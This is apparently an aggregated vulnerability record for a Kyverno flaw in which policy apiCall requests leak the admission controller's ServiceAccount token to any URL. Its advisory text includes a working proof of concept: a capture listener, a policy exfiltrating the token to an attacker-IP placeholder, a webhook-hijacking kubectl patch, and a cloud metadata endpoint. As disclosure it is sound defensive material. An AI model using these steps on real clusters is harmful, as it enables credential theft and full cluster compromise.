{"id":"CVE-2026-41323","aliases":["CVE-2026-41323","GHSA-f9g8-6ppc-pqq4","BIT-KYVERNO-2026-41323","GO-2026-5351"],"related":[],"kind":"vulnerability","state":"published","title":"Kyverno: ServiceAccount token leaked to external servers via apiCall service URL","summary":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nKyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(json.dumps({\n            \"timestamp\": str(datetime.datetime.now()),\n            \"path\": self.path,\n            \"headers\": dict(self.headers)\n        }, indent=2))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b'{\"ok\": true}')\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: ssrf-poc\nspec:\n  validationFailureAction: Audit\n  background: false\n  rules:\n  - name: exfil\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    context:\n    - name: exfil\n      apiCall:\n        service:\n          url: \"http://ATTACKER-IP:9999/steal\"\n        method: GET\n        jmesPath: \"@\"\n    validate:\n      message: \"check\"\n      deny:\n        conditions:\n          any:\n          - key: \"{{ exfil }}\"\n            operator: Equals\n            value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing — it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n  --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n  --type='json' \\\n  -p='[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]' \\\n  --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:\n\n1. Hijack Kyverno's own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Kyverno: ServiceAccount token leaked to external servers via apiCall service URL in github.com/kyverno/kyverno","format":"markdown","source":"go"},{"lang":"es","text":"Kyverno es un motor de políticas diseñado para equipos de ingeniería de plataformas nativas de la nube. Antes de las versiones 1.18.0-rc1, 1.17.2-rc1 y 1.16.4, la característica apiCall de Kyverno en ClusterPolicy adjunta automáticamente el token de ServiceAccount del controlador de admisión a las solicitudes HTTP salientes. La URL del servicio no tiene validación - puede apuntar a cualquier lugar, incluyendo servidores controlados por el atacante. Dado que el SA del controlador de admisión tiene permisos para parchear configuraciones de webhook, un token robado conduce a un compromiso total del clúster. Las versiones 1.18.0-rc1, 1.17.2-rc1 y 1.16.4 parchean el problema.","source":"nvd"},{"lang":"en","text":"Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0, 1.17.2, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0, 1.17.2, and 1.16.4 patch the issue.","format":"markdown","source":"bitnami"}],"published":"2026-04-16T21:36:20.000Z","modified":"2026-11-11T23:10:00.263Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"CRITICAL"}],"cwes":["CWE-200","CWE-918"],"affected":[{"ranges":[{"version":"< 1.16.4","status":"affected"},{"version":">= 1.17.0-rc1, < 1.17.2-rc1","status":"affected"}],"vendor":"kyverno","product":"kyverno","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.0"}],"ecosystem":"Go","package":"github.com/kyverno/kyverno","purl":"pkg:golang/github.com/kyverno/kyverno","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.0"}],"ecosystem":"Go","package":"github.com/kyverno/kyverno","purl":"pkg:golang/github.com/kyverno/kyverno","source":"go"},{"ranges":[{"status":"affected","fixed":"1.16.4"},{"status":"affected","introduced":"1.17.0","fixed":"1.17.2"}],"vendor":"kyverno","product":"kyverno","cpe":"cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.16.4"},{"type":"semver","introduced":"1.17.0","status":"affected","fixed":"1.17.2"}],"ecosystem":"Bitnami","package":"kyverno","purl":"pkg:bitnami/kyverno","source":"bitnami"}],"references":[{"url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/kyverno/kyverno/commit/c2eab00033e635bda4e4efb58c1b472b41728bb6","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/kyverno/kyverno/commit/f70e8ac1e7acd2e3844f9553e4a884f07f953de0","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41323","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/kyverno/kyverno","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-24T12:04:48.048Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41323","url":"https://www.cve.org/CVERecord?id=CVE-2026-41323","licence":"CVE Terms of Use","modified":"2026-04-24T12:05:00.276Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f9g8-6ppc-pqq4","url":"https://github.com/advisories/GHSA-f9g8-6ppc-pqq4","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:01.659Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5351","url":"https://pkg.go.dev/vuln/GO-2026-5351","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:36.059Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41323","licence":"Public domain","modified":"2026-11-11T23:10:00.263Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-KYVERNO-2026-41323","url":"https://osv.dev/vulnerability/BIT-KYVERNO-2026-41323","licence":"Apache-2.0","modified":"2026-09-08T08:48:08.118Z"}],"updatedAt":"2026-11-25T22:59:19.457Z","epss":{"score":0.0057,"percentile":0.48569,"date":"2026-12-02T12:00:21.000Z"}}